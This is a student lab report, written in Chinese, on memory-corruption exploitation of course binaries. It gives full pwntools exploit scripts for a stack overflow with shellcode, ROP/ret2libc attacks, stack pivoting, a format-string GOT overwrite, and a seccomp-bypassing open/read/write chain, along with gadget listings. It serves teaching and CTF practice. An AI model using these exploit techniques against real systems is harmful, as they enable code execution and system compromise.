典型的内存破坏漏洞及其利用 ¶
约 2230 个字 249 行代码 预计阅读时间 11 分钟
Abstract
软件安全 lab1 实验报告(2023.04.29 ~ 2023.06.03)
仅供学习参考,请勿抄袭
实验内容 ¶
- stack buffer overflow 实践(30 分):请通过覆盖返回地址,劫持控制流到 shellcode 实现拿 shell,完成本地测试和远程,最终执行远程的 flag.exe,报告中提供截图证明、并以附件形式提交攻击代码
- rop 实践 1(20 分),请完成对 rop2 程序的攻击,通过 ret2libc 劫持控制流到 system 实现拿 shell,完成本地测试和远程,最终执行远程的 flag.exe,提供截图证明,并以附件形式提交攻击代码
- rop 实践 2(20 分),请完成对 rop3 程序的攻击,通过迁栈后再进行 ret2libc 劫持控制流到 system 实现拿 shell,完成本地测试和远程,最终执行远程的 flag.exe,提供截图证明,并以附件形式提交攻击代码
- fsb 实践 1 (10 分 ),请在 demo 基础上,学习 pwntools fmstr API 的使用,自动生成可以覆盖变量 var 的攻击 payload,将 var 覆盖为自己的学号,并本地测试,提修改成功的截图证明,并以附件形式提交攻击代码
- fsb 实践 2(20 分),请完成对 echo 程序的攻击,通过 fsb 实现对于 libc 地址的泄露、GOT 内容的覆盖,最终实现拿 shell,完成本地测试和远程,最终执行远程的 flag.exe,提供截图证明,并以附件形式提交攻击代码
- bonus(extra 20 分)
Stack Buffer Overflow¶
sbof2¶
首先 checksec,发现没有任何保护,NX 关闭,存在 RWX 段(也可以通过 gdb vmmap 得知 stack 段是可执行的):
程序中输出了局部变量数组 buffer 的地址,gets 存在缓冲区溢出,所以可以向 buffer 中写入 shellcode,然后溢出覆盖返回地址到 buffer 的位置,实现 ret2shellcode。
objdump 可以得知 main 函数中开辟了 0x90 大小的栈空间,且 buffer 的位置在 rbp-0x80:
0000000000401205 <main>:
401205: f3 0f 1e fa endbr64
401209: 55 push rbp
40120a: 48 89 e5 mov rbp,rsp
40120d: 48 81 ec 90 00 00 00 sub rsp,0x90
...
401241: 48 8d 45 80 lea rax,[rbp-0x80]
401245: 48 89 c7 mov rdi,rax
401248: b8 00 00 00 00 mov eax,0x0
40124d: e8 3e fe ff ff call 401090 <gets@plt>
所以要覆盖到返回地址,需要填充 0x80 + 8(saved rbp)个字节,后面接返回地址。所以 exp:
p.recvuntil(b": ")
buffer_addr = p.recvline().decode().strip()
info(f"buffer_addr = {buffer_addr}")
buffer_addr = p64(eval(buffer_addr))
shellcode = asm(shellcraft.sh())
payload = b""
payload += shellcode
payload += b"A" * (0x80 + 8 - len(shellcode))
payload += buffer_addr
info(f"payload = {payload}")
p.sendline(payload)
p.interactive()
本地测试:
远程攻击:
ROP¶
rop2¶
检查保护,开启了 NX,由于程序是静态链接,链接的库中包含了 canary,但实际上程序本身并没有开启 canary,可以正常栈溢出。
程序提供了后门,不过执行的是 /bin/ls,同时也提供了一个静态的 /bin/sh 字符串。由于程序是静态链接,而且没有开启 PIE,所以直接构造 ROP 链直接调用程序内的 system 即可。
首先需要 0x50 + 8(saved rbp)个字节填充到返回地址,然后返回地址上接一条 pop rdi; ret 的指令地址,接下来布局 gstr 字符串的地址使之 pop 到 rdi,然后放一个 system 的地址来实现调用。通过 ROPgadget 找到 pop rdi; ret 指令:
❯ ROPgadget --binary rop2 | grep "pop rdi ; ret"
0x0000000000459a98 : mov eax, 0xe8c78948 ; pop rdi ; ret
0x0000000000459a97 : mov r8d, 0xe8c78948 ; pop rdi ; ret
0x0000000000400716 : pop rdi ; ret
0x00000000004a9f9d : pop rdi ; ret 0x22
所以使用 0x400716 位置处的 gadget 即可:
gstr_addr = elf.symbols["gstr"]
system = elf.symbols["system"]
pop_rdi = 0x400716
payload = b"A" * 0x58
payload += p64(pop_rdi)
payload += p64(gstr_addr)
payload += p64(system)
payload = payload + b"B" * (128 - len(payload))
print(f"payload = {payload}")
p.recvuntil(b"[*] Please input the length of data:\n")
p.sendline(b"128")
p.recvuntil(b"[*] Please input the data:\n")
p.send(payload)
p.interactive()
但在运行的时候经过调试会在 system 函数中发生段错误,错误位置是一条 movaps 指令,想要访问 [rsp + 0x40]:
经过搜索了解到 system 在执行的时候要求 rsp 16 字节对齐,否则会出现段错误。如上图此时 rsp 末尾为 8,为了让其变为 0 只需要多一次跳转即在 ROP 链中加一个直接跳转的指令地址就可以了:
gstr_addr = elf.symbols["gstr"]
system = elf.symbols["system"]
pop_rdi = 0x400716
ret = 0x400bf5
payload = b"A" * 0x58
payload += p64(pop_rdi)
payload += p64(gstr_addr)
payload += p64(ret) # align rsp
payload += p64(system)
payload = payload + b"B" * (128 - len(payload))
远程:
rop3¶
这道题目限制了 buffer 的读入长度最多溢出 0x10,即一个 saved rbp 一个返回地址。但提供了外部的全局变量 gbuffer 也可以进行写入。所以要在 buffer 栈溢出的时候实现栈迁移,将 rbp rsp 转移到 gbuffer 中,然后在 gbuffer 中继续 ROP 链调用 system。
进行栈迁移需要 leave; ret 指令,首先目标函数会执行自己的 leave 指令来 mov rsp, rbp; pop rbp,这里 pop 的 rbp 就是栈上存的 saved rbp,是可以溢出覆盖的,可以将其覆盖为 gbuffer 地址。接下来在返回地址的位置放一条 leave; ret,这样就会继续再执行一条 leave,让 rsp 变成我们修改的位置,再 pop 会使其 +8,同时 rbp 相当于自身解引用了,后面不会用到,也就不用管它。
所以在 gbuffer 中,需要写入一个 /bin/sh 供后面使用,因为如前面的操作,rsp 会向后偏移 8 字节,这八字节也就是 gbuffer 开头直接放 /bin/sh\x00 即可。接下来 pop rdi; ret,然后放一个 gbuffer 地址,再放一个 system 地址即可。同时还要注意对齐 rsp:
"""
❯ ROPgadget --binary rop3 | grep ": leave"
0x0000000000400700 : leave ; ret
❯ ROPgadget --binary rop3 | grep ": pop rdi ; ret"
0x0000000000400823 : pop rdi ; ret
❯ ROPgadget --binary rop3 | grep ": ret"
0x0000000000400586 : ret
"""
p.recvuntil("gift system address: ")
system = eval(p.recvline().decode().strip())
gbuffer = elf.symbols["gbuffer"]
leave_ret = 0x400700
pop_rdi = 0x400823
ret = 0x400586
payload = b"/bin/sh\x00"
payload += p64(pop_rdi)
payload += p64(gbuffer)
payload += p64(ret)
payload += p64(system)
print(f"payload = {payload}")
p.sendline(payload)
payload = b"A" * 0x40
payload += p64(gbuffer)
payload += p64(leave_ret)
print(f"payload = {payload}")
p.sendafter(b"> ", payload)
p.interactive()
FSB¶
demo¶
这里要利用 pwntools 提供的 fmtstr 相关工具实现自动的任意地址写 payload 构造。首先使用 FmtStr 来爆破 offset,因为程序只有一次输入输出,所以每次测试要新建进程:
def exec_fmt(payload):
info(f"finding offset... payload = {payload}")
p = process(elf_path)
p.sendline(payload)
res = p.recv()
info(f"finding offset... res = {res}")
p.close()
return res
fsb = FmtStr(exec_fmt)
offset = fsb.offset
接下来使用 fmtstr_payload 构造 payload 即可,默认的 write_size 逐字节写入,导致 payload 太长无法全部输入,需要设置其为 short:
var_addr = elf.symbols["var"]
payload = fmtstr_payload(offset, {var_addr: <数据删除>}, write_size="short")
info(f"payload = {payload}, len = {len(payload)}")
p = process(elf_path)
p.sendline(payload)
res = p.recvall()
success(res[res.find(b"var = "):].decode().strip())
可以看出 FmtStr 得到了 offset 为 6,然后构造了 payload,之后程序中输出的 var 变量的值变成了 < 数据删除 > 即学号 < 数据删除 >。
echo¶
题目进行了三次输入及 printf 输出,除此之外没有后门什么的,给了 libc.so,要实现 ret2libc 攻击。
只有三次输入输出机会,所以这三次的目标分别是:
- 通过任意地址读读取 printf GOT 表中地址
- 这里就是 printf 的实际加载地址
- 由此可以根据 libc.so 中相对位置计算出 system 的加载地址
- 通过任意地址写将 printf GOT 表中地址覆盖为 system 的地址
- 这时下一次调用 printf 就会执行 system
- 输入 /bin/sh,触发 system("/bin/sh")
第一步根据调试,padding 到 128 字节的情况下最后八个字节(存放 printf GOT 地址)的参数偏移为 23,所以 payload 就是 %23$sAAAAA...AAA<addr>。接下来第二步使用 fmtstr_payload,第三步直接输入就可以了:
offset = 8
def padding(s, length, remain):
return s + (length - len(s) - remain) * b"A"
printf_got = elf.got["printf"]
payload = b"%23$s"
payload = padding(payload, 128, 8)
payload += p64(printf_got)
info(f"payload = {payload}")
p.send(payload)
recv = p.recv()
printf_addr = u64(recv[:6]+b"\x00\x00")
system_addr = printf_addr - (libc.symbols["printf"] - libc.symbols["system"])
info(f"printf_addr = {hex(printf_addr)}")
info(f"system_addr = {hex(system_addr)}")
payload = fmtstr_payload(offset, {printf_got: system_addr}, write_size="short")
info(f"payload = {payload}")
p.send(payload)
p.send(b"/bin/sh\0")
p.interactive()
Bonus¶
IDA 逆向可以看到 main 函数的开头进行了两次系统调用:
...
syscall(157LL, 38LL, 1LL, 0LL, 0LL, 0LL);
syscall(317LL, 1LL, 0LL, &v6);
for ( i = 0LL; i <= 3; ++i )
{
memset(s, 0, 0x100uLL);
printf("size> ");
read(0, s, 0xFuLL);
v4 = atoi(s);
if ( v4 <= 256 )
{
memset(s, 0, 0x100uLL);
read(0, s, (unsigned __int16)v4);
puts(s);
}
}
return 0LL;
}
第一次调用号 157 对应 prctl,第二次 317 对应 seccomp,所以这里是在设置 seccomp 过滤系统调用,通过 seccomp-tools 可以看到过滤规则(只保留了 open read write):
❯ seccomp-tools dump ./binary
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0005
0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0005: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
接下来进行四次输入输出,每次需要先输入长度 s,然后比较其和 256 的大小,如果再在 256 内则读取对应长度的内容然后 puts。但是这里长度也就是 v4 的变量类型是 __int16,所以如果长度为 0xffff 即 65535 则 atoi 的时候 v4 会变成 -1,绕过长度检测,然后读取的时候由于强转了 unsigned,所以可以读取 65535 个字节,实现栈溢出。
checksec 可以看出所有安全机制都是开启的,所以需要使用一次输入输出机会来泄露出 canary。然后需要一次输入输出来泄露出返回地址,这个地址就是 libc.so 里 __libc_start_main 函数中 call main 的下一条地址,通过逆向 libc.so 可以得到这里的偏移为 0x29d90。所以可以计算出 libc 基地址,进而计算出 syscall 地址。
剩余两次输入输出,最后一次要构造 ROP 链进行 /flag.txt 的读取,根据前面限制的 syscall,就可以直接进行 open、read 到 buffer,write 到 stdout。所以需要提供一个位置来存放 "/flag.txt" 以及读取的内容。这里可以直接使用读入的 s 数组,所以倒数第二次就要泄露栈地址。
程序在运行时操作系统布局好 argc argv envp 等然后在栈上继续执行 _start 函数,其中再调用 libc 内的 __libc_start_main,调用前栈的布局类似为(以下为使用本地 libc 静态链接的简单程序的调试结果):
00:0000│ rsp 0x7fffffffe3c0 —▸ 0x7fffffffe3c8 ◂— 0x0
01:0008│ 0x7fffffffe3c8 ◂— 0x0
02:0010│ 0x7fffffffe3d0 ◂— 0x1
03:0018│ rdx 0x7fffffffe3d8 —▸ 0x7fffffffe682 ◂— argv[0]
04:0020│ 0x7fffffffe3e0 ◂— 0x0
05:0028│ 0x7fffffffe3e8 —▸ 0x7fffffffe68d ◂— envp[0]
...
紧接着 __libc_start_main 内会进行一些 push 然后构造它自己的帧栈,直到调用 main 之前,栈布局会变成类似:
00:0000│ rbp rsp 0x7fffffffe2b0 —▸ 0x4018a0 (__libc_csu_init)
01:0008│ 0x7fffffffe2b8 —▸ 0x401139 (__libc_start_main+777)
02:0010│ 0x7fffffffe2c0 ◂— 0x0
03:0018│ 0x7fffffffe2c8 ◂— 0x100000000
04:0020│ 0x7fffffffe2d0 —▸ 0x7fffffffe3d8 —▸ 0x7fffffffe682 ◂— argv[0]
05:0028│ 0x7fffffffe2d8 —▸ 0x400b6d (main)
06:0030│ 0x7fffffffe2e0 ◂— 0x0
07:0038│ 0x7fffffffe2e8 ◂— 0x5500000006
所以可以接着溢出使之输出栈上的 argv 地址,它对应的位置是在 __libc_start_main 的帧栈之前的,也就是前面说到的系统布局 argv 的地址,中间的这些栈的变化都可以通过逆向 libc.so 得到,最终可以计算得出这个地址 - 0x228 即为 main 函数帧栈内 s 的地址。
接下来构造 ROP 链,因为给了 libc.so,所以在这里寻找 gadget 更方便,因为要进行的三次 syscall 分别为:
syscall(2, s, 0); // syscall(SYS_open, "/flag.txt", O_RDONLY)
syscall(0, fd, s+0x10, len); // syscall(SYS_read, fd, s+0x10, len) 这里的 fd 不确定,可以从 3 开始枚举
syscall(1, 1, s+0x10, len); // syscall(SYS_write, stdout, s+0x10, len)
所以需要布局四个参数(rdi rsi rdx rcx),寻找 gadget:
❯ ROPgadget --binary libc.so | grep ": pop rdi ; ret"
0x000000000002a3e5 : pop rdi ; ret
❯ ROPgadget --binary libc.so | grep ": pop rsi ; ret"
0x000000000002be51 : pop rsi ; ret
❯ ROPgadget --binary libc.so | grep ": pop rdx ; ret"
0x000000000003bad3 : pop rdx ; retf 0x19
❯ ROPgadget --binary libc.so | egrep ": pop rdx ; .*? ; ret"
...
0x0000000000090529 : pop rdx ; pop rbx ; ret
❯ ROPgadget --binary libc.so | grep ": pop rcx ; ret"
0x000000000008c6bb : pop rcx ; ret
之后根据这些目标编写 exp 即可:
- 泄露 canary
- 泄露 libc 基地址
p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00")) p.send(b"A" * 0x108 + b"A" * 8 + b"A" * 8) p.recvn(0x118) ret_addr = u64(p.recvn(6) + b"\x00\x00") libc_base = ret_addr - 0x29d90 syscall_addr = libc_base + libc.symbols["syscall"] info(f"ret_addr: {hex(ret_addr)}") info(f"libc_base: {hex(libc_base)}") info(f"syscall_addr: {hex(syscall_addr)}")
- 泄露栈上 s 地址
- 构造 ROP payload
- 写入 "/flag.txt" 并溢出、填入 canary,覆盖 rbp
- syscall open
pop_rdi_ret = libc_base + 0x2a3e5 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_rbx_ret = libc_base + 0x90529 pop_rcx_ret = libc_base + 0x8c6bb payload += p64(pop_rdi_ret) payload += p64(2) # open payload += p64(pop_rsi_ret) payload += p64(buffer_addr) payload += p64(pop_rdx_rbx_ret) payload += p64(0) # O_RDONLY payload += p64(0) payload += p64(syscall_addr)
- syscall read
- syscall write
payload += p64(pop_rdi_ret) payload += p64(1) # write payload += p64(pop_rsi_ret) payload += p64(1) # fd payload += p64(pop_rdx_rbx_ret) payload += p64(buffer_addr + 0x10) payload += p64(0) payload += p64(pop_rcx_ret) payload += p64(64) payload += p64(syscall_addr) p.sendafter(b"size> ", b"65535".ljust(0xf, b"\x00")) p.send(payload) p.interactive()
远程:
创建日期: 2023年8月6日 22:04:08